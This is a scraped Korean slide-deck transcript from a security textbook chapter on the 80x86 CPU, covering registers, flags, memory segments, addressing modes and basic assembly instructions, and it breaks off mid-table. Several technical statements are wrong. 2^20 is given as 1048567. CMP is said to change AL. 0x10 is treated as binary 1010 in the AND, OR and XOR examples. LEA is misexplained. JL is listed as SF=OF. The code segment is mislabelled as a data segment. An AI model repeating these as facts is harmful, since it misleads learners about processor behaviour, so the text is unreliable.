80×86 시스템에 대한 이해

108
IT CookBook, 정정 정정 정정정 정정 : 정정정 정정정 정정 ( 정정정 ) 80×86 정정정정 정정 정정

Upload: todd-hinton

Post on 30-Dec-2015

55 views

Category:

Documents


1 download

DESCRIPTION

2. 80×86 시스템에 대한 이해. 학습목표 80×86 시스템CPU의 구조를 이해한다. 80×86 시스템의 메모리 구조와 동작 원리를 이해한다. 어셈블리어를 이해한다. 80×86 시스템의 스택에서 명령을 처리하는 구조를 이해한다 . 내용 80×86 시스템 CPU 와 레지스터 80×86 시스템의 메모리 어셈블리어의 기본 문법과 명령 스택을 통한 명령 처리 과정. [ 표 2-1] 인텔 CPU 모델별 관련 정보. 80×86 시스템 CPU 와 레지스터. - PowerPoint PPT Presentation

TRANSCRIPT

Page 1: 80×86  시스템에 대한 이해

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

80times86 시스템에 대한 이해

2108

Contents

학습목표 80times86 시스템 CPU 의 구조를 이해한다 80times86 시스템의 메모리 구조와 동작 원리를 이해한다 어셈블리어를 이해한다 80times86 시스템의 스택에서 명령을 처리하는 구조를 이해한다

내용 80times86 시스템 CPU 와 레지스터 80times86 시스템의 메모리 어셈블리어의 기본 문법과 명령 스택을 통한 명령 처리 과정

3108

[ 표 2-1] 인텔 CPU 모델별 관련 정보

80times86 시스템 CPU 와 레지스터

모델 8085 8086 8088 80286 80386 80486 펜티엄 펜티엄 - 프로

생산 시작 연도 1976 년 1978 년 1979 년 1982 년 1985 년 1989 년 1992 년 1995 년

클록 주파수(MHz)

3~8 5~8 5~8 6~16 16~33 25~50 60 66 150

트랜지스터 수 6500 29000 29000

130000

275000

12 백만

31 백만 55 백만

물리 메모리 64 K 1 M 1 M 16 M 4 G 4 G 4 G 64 G

내부 데이터 버스

8 16 16 16 32 32 32 32

외부 데이터 버스

8 16 8 16 32 32 64 64

주소 버스 16 20 20 24 32 32 32 36

데이터 크기 (비트 )

8 816 8 16 8 168 16

328 16

328 16

328 16 32

4108

80times86 시스템 CPU 의 구조

80times86 시스템 CPU 의 구조와 레지스터

5108

80times86 시스템 CPU 의 구조 연산장치

bull 연산 장치 (ALUArithmetic and Logic Unit) 는 CPU( 중앙 처리 장치 ) 의 핵심 부분 중

하나로 산술과 논리 연산을 수행하는 연산 회로 집합으로 구성

[ 표 2-2] 연산 장치의 구성 요소

80times86 시스템 CPU 의 구조와 레지스터

구성 요소 기능

내부

장치

가산기 (Adder) 덧셈 연산 수행

보수기 (Complementer)뺄셈 연산 수행 1 의 보수나 2 의 보수 방식 이용

시프터 (Shifter)비트를 오른쪽이나 왼쪽으로 이동하여 나눗셈과 곱셈 연산 수행

관련

레지

스터

누산기 (Accumulator) 연산의 중간 결과 저장

데이터 레지스터(Data Register)

연산에 사용할 데이터 저장

상태 레지스터 (Status Register)

연산 실행 결과로 나타나는 양수와 음수 자리올림 오버 플로우의 상태 기억

6108

80times86 시스템 CPU 의 구조 제어장치

bull 제어 장치 (Control Unit) 는 입력 출력 기억 연산 장치를 제어하고 감시 주기억

장치에 저장된 명령을 차례로 해독하여 연산 장치로 보내 처리되도록 지시

[ 표 2-3] 제어 장치의 구성 요소

레지스터bull 처리 중인 데이터나 처리 결과를 임시 보관하는 CPU 내의 기억 장치

80times86 시스템 CPU 의 구조와 레지스터

구성 요소 기능

내부

장치

명령 해독기 (Instruction Decoder)명령 레지스터에 있는 명령을 해독하여 부호기로 전송

부호기 (Decoder)명령 해독기가 전송한 명령을 신호로 만들어 각 장치 전송

주소 해독기

(Address Decoder)

명령 레지스터에 있는 주소를 해독하여 메모리의 실제주소로 변환한 후 이를 데이터 레지스터에 저장

관련

레지

스터

프로그램 카운터 (Program Counter) 다음에 실행할 명령의 주소 저장

명령 (Instruction) 레지스터 현재 실행 중인 명령 저장

메모리 주소 (Memory Address) 레지스터 주기억 장치의 번지 저장

메모리 버퍼 (Memory Buffer) 레지스터 메모리 주소 레지스터에 저장된 주소의 실제 내용 저장

7108

레지스터의 종류와 기능 [ 표 2-4] 레지스터의 종류와 용도

80times86 시스템 CPU 의 구조와 레지스터

범주80386

레지스터이름 비

트 용도

범용 레지스터 (General Register)

EAX 누산기 (Accmulator) 32주로 산술 연산에 사용 ( 함수의 결과 값 저장 )

EBX베이스 레지스터 (Base Register)

32특정 주소 저장 ( 주소 지정을 확대하기 위한 인덱스로 사용 )

ECX카운트 레지스터 (Count Register)

32반복적으로 실행되는 특정 명령에 사용( 루프의 반복 횟수나 좌우 방향 시프트 비트 수 기억 )

EDX데이터 레지스터 (Data Register)

32 일반 자료 저장 ( 입출력 동작에 사용 )

세그먼트 레지스터 (Segment Register)

CS코드 세그먼트 레지스터 (Code Segment Register)

16실행될 기계 명령어가 저장된 메모리 주소

지정

DS데이터 세그먼트 레지스터 (Data Segment Register)

16프로그램에서 정의된 데이터 상수 작업 영역의 메모리 주소 지정

SS스택 세그먼트 레지스터 (Stack Segment Register)

16

프로그램이 임시로 저장해야 하는 데이터나 사용자의 피호출 서브 루틴(called subroutine) 이 사용할 데이터와 주소 저장

ES FS GS

엑스트라 세그먼트 레지스터 (Extra Segment Register)

16문자 연산과 추가 메모리 지정을 위해 사용되는 여분의 레지스터

8108

레지스터의 종류와 기능 [ 표 2-4] 레지스터의 종류와 용도

80times86 시스템 CPU 의 구조와 레지스터

범주80386

레지스터이름 비

트 용도

포인터 레지스터 (Pointer Register)

EBP베이스 포인터 (Base Pointer)

32SS 레지스터와 함께 사용되어 스택 내의 변수 값을 읽는 데 사용

ESP스택 포인터 (Stack Pointer)

32SS 레지스터와 함께 사용되며 스택의 가장 끝 주소를 가리킴

EIP명령 포인터 (Instruction Pointer)

32다음 명령어의 오프셋 (Offset 상대 위치 주소 ) 을 저장하며 CS 레지스터와 합쳐져 다음에 수행될 명령의 주소 형성

인덱스 레지스터 (Index Register)

EDI목적지 인덱스 (Destination Index)

32 목적지 주소에 대한 값 저장

ESI출발지 인덱스 (Source Index)

32 출발지 주소에 대한 값 저장

플래그 레지스터 EFLAGS

플래그 레지스터 (Flag Register)

32연산 결과 및 시스템 상태와 관련된 여러 가지 플래그 값 저장

9108

레지스터의 종류와 기능 [ 표 2-5] 레지스터의 종류와 용도

범용 레지스터

80times86 시스템 CPU 의 구조와 레지스터

구분 맴핑 레지스터

연산

장치

관련

레지

스터

누산기 (Accumulator) EAX

데이터 레지스터 (Data Register) EDX

상태 레지스터 (Status Register) EFLAGS

제어

장치

관련

레지

스터

프로그램 카운터 (Program Counter) ECX

명령 레지스터 (Instruction Register) EIP

메모리 주소 레지스터 (Memory Address Register)

EBX EBP ESP EDI ESI 등

메모리 버퍼 레지스터 (Memory Buffer Register)

프로그램 실행과 관련한 데이터를 저장하는

레지스터로 RAM 의 역할을 한다

10108

레지스터의 종류와 기능 범용 레지스터

bull 연산 장치가 수행한 계산 결과의 임시 저장 산술 및 논리 연산 주소 색인 등의

목적으로 사용될 수 있는 레지스터 EAX EBX ECX EDX 등 bull EAX EBX ECX EDX 는 32 비트 레지스터로 앞의 E 는lsquo확장된 (Extended)rsquo 을 의미

이 레지스터의 오른쪽 16 비트를 각각 AX BX CX DX 라 부르고

이 부분은 다시 둘로 나뉜다 예를 들어 AX 는왼쪽 8 비트 상위 (high) 부분을 AH

오른쪽 8 비트 하위 (low) 부분을 AL 이라 한다

80times86 시스템 CPU 의 구조와 레지스터

11108

범용 레지스터bull EAX 레지스터 누산기 입출력과 대부분 산술 연산에 사용bull EBX 레지스터 DS 세그먼트에 대한 포인터를 주로 저장 ESI 나 EDI 와 결합하여 인덱스에 사용bull ECX 레지스터 루프가 반복되는 횟수를 제어하는 값 왼쪽이나 오른쪽으로 이동되는 비트 수 등을 포함bull EDX 레지스터 입출력 연산에 사용 큰 수의 곱셈과 나눗셈 연산에서 EAX와 함께 사용

80times86 시스템 CPU 의 구조와 레지스터

12108

세그먼트 레지스터 프로그램에 정의된 메모리상의 특정 영역

코드 데이터 스택 등을 포함

CS DS SS 3 개의 레지스터가 기본 ES FS GS 레지스터는 여분

bull CS 레지스터 기계 명령을 포함 코드세그먼트의 시작 주소를 가리킴

bull DS 레지스터 프로그램에 정의된 데이터 상수 작업 영역을 포함

데이터 세그먼트의 시작 주소를 가리킴

데이터의 오프셋을 DS 레지스터에 저장된 주소 값에 더해 데이터 세그먼트 내에 위치해 있는 데이터의 주소를 참조

bull SS 레지스터 실행 과정에서 필요한 데이터나 연산 결과 등을 임시로 저장하거나 삭제할 때 사용 스택 세그먼트의 시작 주소를 가리킨다

bull ES FS GS 레지스터 ES 레지스터는 추가로 사용된 데이터 세그먼트의 주소를 가리킴

FS 와 GS 레지스터도 목적은 이와 비슷 거의 사용되지 않음

80times86 시스템 CPU 의 구조와 레지스터

13108

포인트 레지스터 프로그램 실행 과정에서 사용되는 주요 메모리 주소값을 저장

EBP ESP EIP 가 있다

bull EBP 레지스터 스택 세그먼트에서 현재 호출되어 사용되는 함수의 시작 주소 값 저장

함수로 전달되는 지역변수 등을 참조할 때 기준 ESP 레지스터와 함께

사용되어 스택 프레임 (stack frame) 을 형성 실제 메모리상의 주소를 참조할 때

SS(Stack Segment) 레지스터와 함께 사용 bull ESP 레지스터 현재 스택 영역에서 가장 하위 주소를 저장 EBP 와 마찬가지로 실제

메모리상의 주소를 참조할 때 SS(Stack Segment) 레지스터와 함께 사용 bull EIP 레지스터 다음에 실행될 명령의 오프셋을 포함 CS(Code Segment) 레지스터와 함께

사용

인덱스 레지스터bull ESI amp EDI 메모리의 한 영역 (Souce) 에서 다른 영역 (Destination) 으로 데이터를

연속적으로 복사할 때 사용

80times86 시스템 CPU 의 구조와 레지스터

14108

플래그 레지스터 32 비트로 컴퓨터의 다양한 상태를 나타내는 비트 포함

상태 플래그 제어 플래그 시스템 플래그로 구성

bull 상태 플래그 산술 명령 (ADD SUB MUL DIV) 결과를 반영

- CF(Carry Flag 비트 0) 산술 연산 결과로 자리올림 자리내림 발생할 때 세트 (1)

- ZF(Zero Flag 비트 6) 산술 연산 결과 0 이면 세트 (1) 이외에는 클리어 (0)

- OF(Overflow Flag 비트 11) 부호가 있는 수의 오버플로우가 발생하거나

MSB(MostSignificant Bit) 가 변경되었을 때 세트

80times86 시스템 CPU 의 구조와 레지스터

15108

플래그 레지스터bull 제어 플래그 (Control Flag) 스트링 명령 (MOVS CMPS SCAS LODS STOS) 을 제

어 DF 가 1 이면 스트링 명령 자동 감소 0 이면 자동 증가 STDCLD 명령은 각각 DF 플래그를 세트 (1) 클리어 (0)bull 시스템 플래그 (System Flag) - TF(Trap Flag 비트 8) 디버깅 시lsquoSingle Step Modersquo 모드를 활성화하면 세트 - IF(Interrupt enable Flag 비트 9) 프로세서의 인터럽트 처리 여부를 제어 - IOPL(IO Privilege Level 비트 1213) 현재 실행되는 프로그램 태스크의 입출력 특권 레벨 지시 - NT(Nested Task flag 비트 14) 인터럽트되거나 호출된 태스크를 제어 - RF(Resume Flag 비트 16) 프로세서의 디버그 예외 반응을 제어 - VM(Virtual 8086 Mode flag 비트 17) V86 모드를 활성화하면 세트 - AC(Alignment Check 비트 18) 메모리 참조 시 정렬 기능을 활성화하면 세트 - VIF(Virtual Interrupt Flag 비트 19) VIP(Virtual Interrupt Pending 비트 20)

가상 모드 확장과 관련해 사용 - ID(IDentification 비트 21) CPUID 명령의 지원 유무를 결정

80times86 시스템 CPU 의 구조와 레지스터

16108

메모리의 기본 구조

스택 후입선출 (LIFO Last-In First Out) 방식에 의해 정보를 관리

Top 이라고 불리는 스택의 끝부분에서 데이터의 삽입과 삭제가 발생

가장 나중에 삽입된 정보가 가장 먼저 읽힘

80times86 시스템의 메모리

17108

메모리의 기본 구조

힙 프로그램의 실행 중 필요한 기억 장소를 할당하기 위해 운영체제에 예약되어 있는

기억 장소영역 데이터를 저장하기 위해 기억 장소를 요청하면 운영체제는 힙에

존재하는 기억 장소를 프로그램에 할당 기억 장치가 더 이상 필요 없으면 할당

받았던 기억 장소를 운영체제에 반납 운영체제에서는 반납된 기억 장소를 다시

힙에 돌려줌 힙에 대한 기억 장소는 포인터를 통해 동적으로 할당되거나 반환

연결 리스트 트리 그래프처럼 동적인 특성이 있는 데이터 구조에서 널리 사용

데이터 세그먼트 초기화된 외부 변수나 static 변수 등이 저장되는 영역

보통 텍스트 세그먼트 (Text segment) 와 데이터 세그먼트 영역을

합쳐 프로그램이라 한다

80times86 시스템의 메모리

18108

메모리의 기본 구조

BSS 세그먼트 초기화 되지 않은 데이터 세그먼트 (Uninitalized data segment) 라고

불리며 프로그램이 실행될 때 0 이나 NULL 포인터로 초기화

외부 변수나 static 변수중 초기화 되지 않은 변수들이 정의될 때 저장

데이터 세그먼트 CPU 에 의해 실행되는 머신 코드가 있는 영역

80times86 시스템의 메모리

19108

메모리 접근 모드와 동작

실제 모드 8086 CPU 에서 사용되던 동작 모드

20 비트 주소 버스 사용 위해 16 비트 레지스터 사용

총 1MB(220 =1048567) 의 메모리 사용 가능

20 비트 주소를 나타내기 위해 세그먼트 레지스터를 도입

[ 그림 2-8] 과 같이 16 비트의 세그먼트 레지스터와 16 비트의 오프셋을

중첩시킨 20 비트의 물리 주소를 생성

80times86 시스템의 메모리

20108

메모리 접근 모드와 동작 세그먼트 주소인 CS 레지스터가 0x2525h 오프셋인 IP 가 0x95F3h 면

0x2525h 뒤에

한 자리의 0x0h 를 붙여 95F3h 를 더한 2E843h 가 실제 가리키는 물리 주소가 됨

2525h 95F3h 또는 [CS]96F3h 로 표현 하나의 세그먼트에 64KB(216 =65536) 의

메모리 사용

[ 표 2-6] 세그먼트 레지스터별 기본

오프셋 레지스터

80times86 시스템의 메모리

세그먼트 레지스터 오프셋 레지스터

CS IP

DS SI DI BX

SS SP BP

ES SI DI BX

21108

메모리 접근 모드와 동작

보호 모드 80286 부터 도입된 보호 모드 (Protected Mode) 는 32 비트 CPU 80386 에

완성 32 비트 주소 버스를 통해 4GB 의 메모리를 사용 가능 메모리 보 호

기능과 페이징 (Paging) 등을 통해 가상 메모리를 효율적으로 구현

세그먼테이션 (Segmentation) 과 페이징 이용 메모리 관리 세그먼테이션은

4GB 의 메모리를 세그먼트 단위로 쪼갠 것으로 여기서는 16 비트의

셀렉터와 32 비트의 오프셋을 이용해 4GB 범위의 32 비트

선형 주소 (linear address) 를 만듬

80times86 시스템의 메모리

22108

어셈블리어의 구조 Intel 문법과 ATampT 문법이 있다 윈도우에서는 Intel 문법 사용 리눅스에서는 ATampT 문법 사용 Intel 문법에서는 목적지 (destination) 가 먼저 오고 원본 (source) 이 뒤에 위치 ATampT 에서는 반대 Intel 문법에서 어셈블리어의 명령 형식은 다음과 같다

어셈블리어의 기본 문법과 명령

Label MOV AX BX comment 라벨 작동 코드 제 1 피연산자 제 2 피연산자 설명

23108

어셈블리어의 데이터 타입과 리틀 엔디언 방식

데이터 타입bull 바이트 (Byte) 1 바이트 (8 비트 ) 데이터 항목bull 워드 (Word) 2바이트 (16 비트 ) 데이터 항목bull 더블워드 (Doubleword) 4바이트 (32 비트 ) 데이터 항목

어셈블리어의 기본 문법과 명령

24108

어셈블리어의 데이터 타입과 리틀 엔디언 방식

리틀 엔디언 방식 2 개의 번지로 나누어 저장해야 하는 16 비트 데이터 (워드 ) 의 경우

하위 바이트는 하위 번지에 상위 바이트는 상위 번지에 저장

예 ) hex 값 0x34F3을 1500 번지에 저장하려면 하위값 0xF3 은

1500 번지에 상위 값 0x34 는 1501번지에 저장

어셈블리어의 기본 문법과 명령

25108

어셈블리어의 주소 지정 방식 레지스터 주소 지정 레지스터의 주소 값을 직접 지정 복사 처리 속도 가장 빠름

직접 메모리 주소 지정 가장 일반적인 주소 지정 방식 보통 피연산자 하나가 메모리 위치를 참조하고 다른 하나는 레지스터를 참조

( 예 )DS[8088h] 와 DS[1234h] 는 각각lsquo세그멘트 오프셋rsquo형식의

메모리에 직접 접근하는 방식

어셈블리어의 기본 문법과 명령

MOV DX BX

MOV AL DS[8088h]MOV DS[1234h] DL

26108

레지스터 간접 주소 지정 lsquo 세그멘트 오프셋rsquo형식을 사용

다음과 같이 기본이 아닌 세그먼트를 강제로 지정 할 수도 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX] MOV AL [BP]

MOV AL CS[BX] MOV AL DS[BP]

27108

인덱스 주소 지정 레지스터 간접 지정 방식에 변위가 더해진 메모리 주소 지정 방식 ( 예 )20h 만큼 더해 메모리를 참조한 명령

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+20h] MOV AL [BP+20h]

MOV AL 20h[BX] MOV AL 20h[BP]

28108

베이스 인덱스 주소 지정 실제 주소 생성 위해 베이스 레지스터 (BX 또는 BP) 와

인덱스 레지스터 (DI 또는 SI) 를 결합

2 차원 배열의 주소 지정에 사용

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI] MOV AL [BP+SI]

MOV AL [BX][SI] MOV AL [BP][SI]

29108

변위를 갖는 베이스 인덱스 주소 지정 베이스 - 인덱스의 변형으로 실제 주소 생성 위해

베이스 레지스터 인덱스 레지스터 변위 결합

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI+20h] MOV AL [BP+SI+20h]

30108

어셈블리어의 기본 명령 산술 연산 명령 기본적인 정수 계산

bull ADD(Add) 제 1 피연산자와 제 2 피연산자 값을 더한 결과 값을 제 1 피 연산자에 저장

bull SUB(Subtract) 제 1 피연산자에서 제 2 피연산자 값을 뺀 결과 값을 제 1 피연산자에 저장

bull CMP(Compare) 데이터의 두 값 비교 시 사용 lsquocmp a brsquo 의 경우 a 에서 b 를 뺀 값이0 이면 참

어셈블리어의 기본 문법과 명령

형식ADD [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

ADD AL 4

AL 이 원래 3이었다면 명령 실행 후 AL은 7이 된다

형식SUB [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

SUB AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

형식CMP [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

CMP AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

31108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

ADC Add with Carry 캐리를 포함한 덧셈을 수행한다

SBB Subtraction with borrow 캐리를 포함한 뺄셈을 수행한다

DEC Decrement 피연산자 내용을 하나 감소시킨다

NEG Change Sign 피연산자의 2 의 보수 즉 부호를 반전한다

INC Increment 피연산자 내용을 하나 증가시킨다

AAA ASCII adjust for add덧셈 결과의 AL 값을 UNPACK 10진수로 보정한다

DAA Decimal adjust for add 덧셈 결과의 AL 값을 PACK 10진수로 보정한다

AAS ASCII adjust for subtract뺄셈 결과의 AL 값을 UNPACK 10진수로 보정한다

32108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

DAS Decimal adjust for subtract 뺄셈 결과의 AL 값을 PACK 10진수로 보정한다

MUL Multiply(Unsigned) AX 와 피연산자의 곱셈 결과를 AX 또는 DXAX 에 저장한다

IMUL Integer Multiply(Signed) 부호화된 곱셈을 수행한다

AAM ASCII adjust for Multiply 곱셈 결과의 AX 값을 UNPACK 10진수로 보정한다

DIV Divide(Unsigned)AX 또는 DXAX 내용을 피연산자로 나눈다

몫은 AL 또는 AX 에 저장하고 나머지는 AH 또는 DX 에 저장한다

IDIV Integer Divide(Signed) 부호화된 나눗셈

AAD ASCII adjust for Divide 나눗셈 결과 AX 값을 UNPACK 10진수로 보정한다

CBW Convert byte to word AL 의 바이트 데이터를 부호 비트를 포함하여 AX 워드로 확장한다

CWDConvert word to double word

AX 의 워드 데이터를 부호를 포함하여 DXAX 의 더블 워드로 변환한다

33108

어셈블리어의 기본 명령 데이터 전송 명령 메모리 범용 레지스터 세그먼트 레지스터로 참조되는 주소에

존재하는 데이터 전송

bull MOV(Move) 데이터 이동할 때 사용

BP 의 현재 값이 0x10000004 라면 BP+8은 0x1000000C

0x1000000C 에 있는 값이 1024므로 AX 에는 1024 가 입력

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용 예

MOV AX [BP+8]

BP 의 주소에 8 더해진 주소에 있는 데이터

값을 AX 에 대입한다

34108

어셈블리어의 기본 명령 PUSH(Push) 스택에 데이터를 삽입할 때 사용

[ 그림 2-19] 와 같이 스택은 커지고 스택 포인터 (Stack Pointer)는

데이터 크기만큼 감소

어셈블리어의 기본 문법과 명령

35108

어셈블리어의 기본 명령 POP(Pop) 스택에서 데이터 삭제할 때 사용 스택에서 삭제된 명령은 반환 값으로

받아 사용 가능 [ 그림 2-20] 과 같이 스택 포인터는 삭제하는 데이터

크기만큼 증가

어셈블리어의 기본 문법과 명령

36108

어셈블리어의 기본 명령 LEA(Load effective address to register) 데이터의 값 이동할 때 사용

MOV 명령과 LEA 명령에서 제 1 피연산자는 데이터 이동 공통 제 2 피연산자에 대 한

추가 연산의 처리 방식은 다르다

제 2 피연산자에lsquo BP+4rsquo 가 있을 경우 MOV 명령은 lsquo BP+4rsquo 를 하나의 주소 값으로처리

LEA 명령은 lsquo BPrsquo 만 주소 값으로 인식 lsquo +4rsquo 는 BP 주소 값에 대한 추가 연산으로 처리

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

LEA AX [BP+4]

BP 의 현재 값이 0times10000004 라면 MOV 명령

처럼 BP+4 인 0times10000008 의 주소 값을 가져

오는 것이 아니라 0times10000004 의 주소에 있

는 값에 4 를 더해 AX 에 대입한다 ([ 그림 2-21] 참고 )

37108

어셈블리어의 기본 명령 기타 데이터 전송 명령 [ 표 2-8] 기타 데이터 전송 명령

어셈블리어의 기본 문법과 명령

명령 설명

XCHGExchange Register

Memory with Register

첫 번째 피연산자와 두 번째 피연산자를 바꾼다

INInput from AL AX to Fixed port

피연산자로 지시된 포트로 AX 에 데이터를 입력한다

OUTOutput from ALAX to Fixed port

피연산자가 지시한 포트로 AX 의 데이터를 출력한다

XLATTranslate byte to AL

BXAL 이 지시한 테이블의 내용을 AL 로 로드한다

LDS Load Pointer to DSLEA 명령과 유사한 방식으로 다른 DS 데이터의 주소의 내용을 참조 시

사용한다

LES Load Pointer to ESLEA 명령과 유사한 방식으로 다른 ES 데이터의 주소의 내용을 참조 시

사용한다

LAHF Load AH with Flags 플래그의 내용을 AH 의 특정 비트로 로드한다

SAHF Store AH into Flags AH 의 특정 비트를 플래그 레지스터로 전송한다

PUSHF Push Flags 플래그 레지스터의 내용을 스택에 삽입한다

POPF Pop Flags 스택에 저장되어 있던 플래그 레지스터 값을 삭제한다

38108

어셈블리어의 기본 명령 논리 명령 연산부호가 논리연산을 지정하는 명령으로 자리옮김 논리 합 (OR)

논리곱 (AND) 기호 변환 등이 있다bull AND(And) 대응되는 비트가 둘 다 1 일 때만 결과가 1 이고 그 이외는 모두 0

어셈블리어의 기본 문법과 명령

형식 AND [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

AND AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1000이 된다

AX 1 0 0 0

0times10h 1 0 1 0

AND 연산 결과 1 0 0 0

39108

어셈블리어의 기본 명령

bull OR(Or) 대응되는 비트 중 하나만 1 이어도 결과가 1 이고 둘 다 0 인 경우에만 0

어셈블리어의 기본 문법과 명령

형식 OR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

OR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 1 0 1 0

40108

어셈블리어의 기본 명령

bull XOR(Exclusive Or) 대응되는 비트 중에서 한 비트가 1 이고 다른 비트가 0 이면 1 두 개의

비트가 모두 0 또는 1 일 때 0

어셈블리어의 기본 문법과 명령

형식 XOR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

XOR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 0010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 0 0 1 0

41108

어셈블리어의 기본 명령

bull NOT(Invert) 피연산자의 1 의 보수를 구하는 작동 코드로 각 비트를 반전

어셈블리어의 기본 문법과 명령

형식 NOT [ 제 1 피연산자 ]

사용 예

NOT AX

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

명령을 수행한 뒤에 AX 값은 0111 이 된다

AX 1 0 0 0

NOT 연산 결과 0 1 1 1

42108

어셈블리어의 기본 명령

bull Test(And function to flags no result) 데이터의 두 값 비교할 때 사용 데이터의 변경 없이 단순 비교

어셈블리어의 기본 문법과 명령

형식 TEST [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

TEST AL 00001001b

AL 레지스터에 비트 0 과 비트 3 이 둘 다 0 인지 확인하고 싶으면

제 2 피연산자에 비트 0( 오른쪽의 첫 번째 비트 ) 과 비트 3(오른쪽부

터 네 번째 비트 ) 에 1 을 적어주고 나머지에는 0 을 적어준 후 TEST

명령을 실행한다 AL 의 비트 0 과 비트 3 이 모두 0 이라면 ZF(Zero

Flag) 가 세트된다 비트 0 와 비트 3 중 하나라도 1 이면 ZF는 클리

어된다 AX 가 0x08h 라면 비트 3 이 1 이므로 ZF 는 클리어된다

AL 1 0 0 0

00001001b 1 0 0 1

43108

어셈블리어의 기본 명령

bull 기타 논리 명령 데이터의 두 값을 비교할 때 사용 데이터의 변경 없이 단순 비교bull [ 표 2-9] 기타 논리 명령

어셈블리어의 기본 문법과 명령

명령 설명

SHL SAL

Shift Leftarithmetic Left 왼쪽으로 피연산자만큼 자리 이동

SHR SARShift Right Shift arithmetic Right

오른쪽으로 피연산자만큼 자리 이동

ROL Rotate Left 왼쪽으로 피연산자만큼 회전 이동

ROR Rotate Right 오른쪽으로 피연산자만큼 회전 이동

RCL Rotate through carry left자리올림 (Carry) 을 포함하여 왼쪽으로 피연산자만큼 회전 이동

RCR Rotate through carry Right자리올림 (Carry) 을 포함하여 오른쪽으로 연산자

만큼 회전이동

44108

어셈블리어의 기본 명령 스트링 명령 바이트로 구성된 스트링 (strings of bytes) 을 메모리 내에서 전송

bull REP(Repeat) ADD 나 MOVS 와 같은 작동 코드의 앞에 위치 CX 가 0 이 될 때까지 뒤에 오는 스트링 명령 반복

bull MOVS(Move String) 바이트나 워드 더블워드 옮기는 명령 MOVSB MOVSW MOVSD 가 있다 DSSI 가 지시한 메모리 데이터를 ES DI 가 지시한 메모리로 전송

어셈블리어의 기본 문법과 명령

형식 REP 작동코드 -

형식 MOVSB

사용예

CLD

LEA SI String_1

LEA DI String_2

MOV CX 384

REP MOVSB

- CLD (Clear Direction) 디렉션 플래그를 지움

- LEA SI String_1 String 1 의 주소 값을 SI(Source Index) 에 저장

- LEA DI String_2 String 2 의 주소 값을 DI(Destination Index) 에 저장

- MOV CX 384 CX 에 384 저장

- REP MOVSB SI 로부터 DI까지 CX 가 0 이 될 때까지 1 바이트씩 복사

45108

어셈블리어의 기본 명령

bull 기타 스트리밍bull [ 표 2-10] 기타 스트링 명령

어셈블리어의 기본 문법과 명령

명령문 설명

CMPSCompare String

DS SI 와 ES DI 의 내용을 비교한 결과에 따라 플래그를 설정한다

SCAS Scan StringAL 또는 AX 와 ESDI 가 지시한 메모리 내용을 비교한 결과에

따라 플래그를 설정한다

LODS Load String SI 내용을 AL 또는 AX 로 로드한다

STOS Store String AL 또는 AX 를 ES DI 가 지시하는 메모리에 저장한다

46108

어셈블리어의 기본 명령 제어 전송 명령 점프 ( 분기 Jump) 조건 점프 ( 조건 분기 Conditional jump)

루프 (Loop) 호출 (Call) 과 리턴 (Return) 연산 등으로

프로그램의 흐름 제어

bull JMP(Unconditional Jump) 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동

어셈블리어의 기본 문법과 명령

형식 JMP [ 제 1 피연산자 ]

사용 예

JMP 100h

주소로 직접 지정한 100h 번지로 점프한다

string MOV CX 384

JMP string

라벨로 JMP 를 지정하는 경우다

47108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JC carry flag set CF = 1 CF 값이 1 이면 점프

JNC not carry flag set CF = 0 CF 값이 0 이면 점프

JEJZ Equal Zero ZF = 1 결과가 0 이면 점프

JAJNBEabovenot below nor equal

CF = 0 and ZF = 0

결과가 크면 점프 ( 부호화 안된 수 )

JAEJNBabove or equalnot below

CF = 0결과가 크거나 같으면 점프 ( 부호화 안된 수 )

JBJNAEbelownot above nor equal

CF = 1 결과가 작으면 점프 ( 부호화 안된 수 )

JLJNGElessnot greater nor equal

SF = OF 결과가 작으면 점프 ( 부호화된 수 )

JBEJNAbelow or equalnot above

(CF or ZF) = 1결과가 작거나 같으면 점프 ( 부호화 안된 수 )

JGJNLEgreaternot less nor equal

ZF = 0 and SF = OF

결과가 크면 점프 ( 부호화 안된 수 )

JGEJNLgreater or equalnot less

SF = OF 결과가 크거나 같으면 점프 ( 부호화된 수 )

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

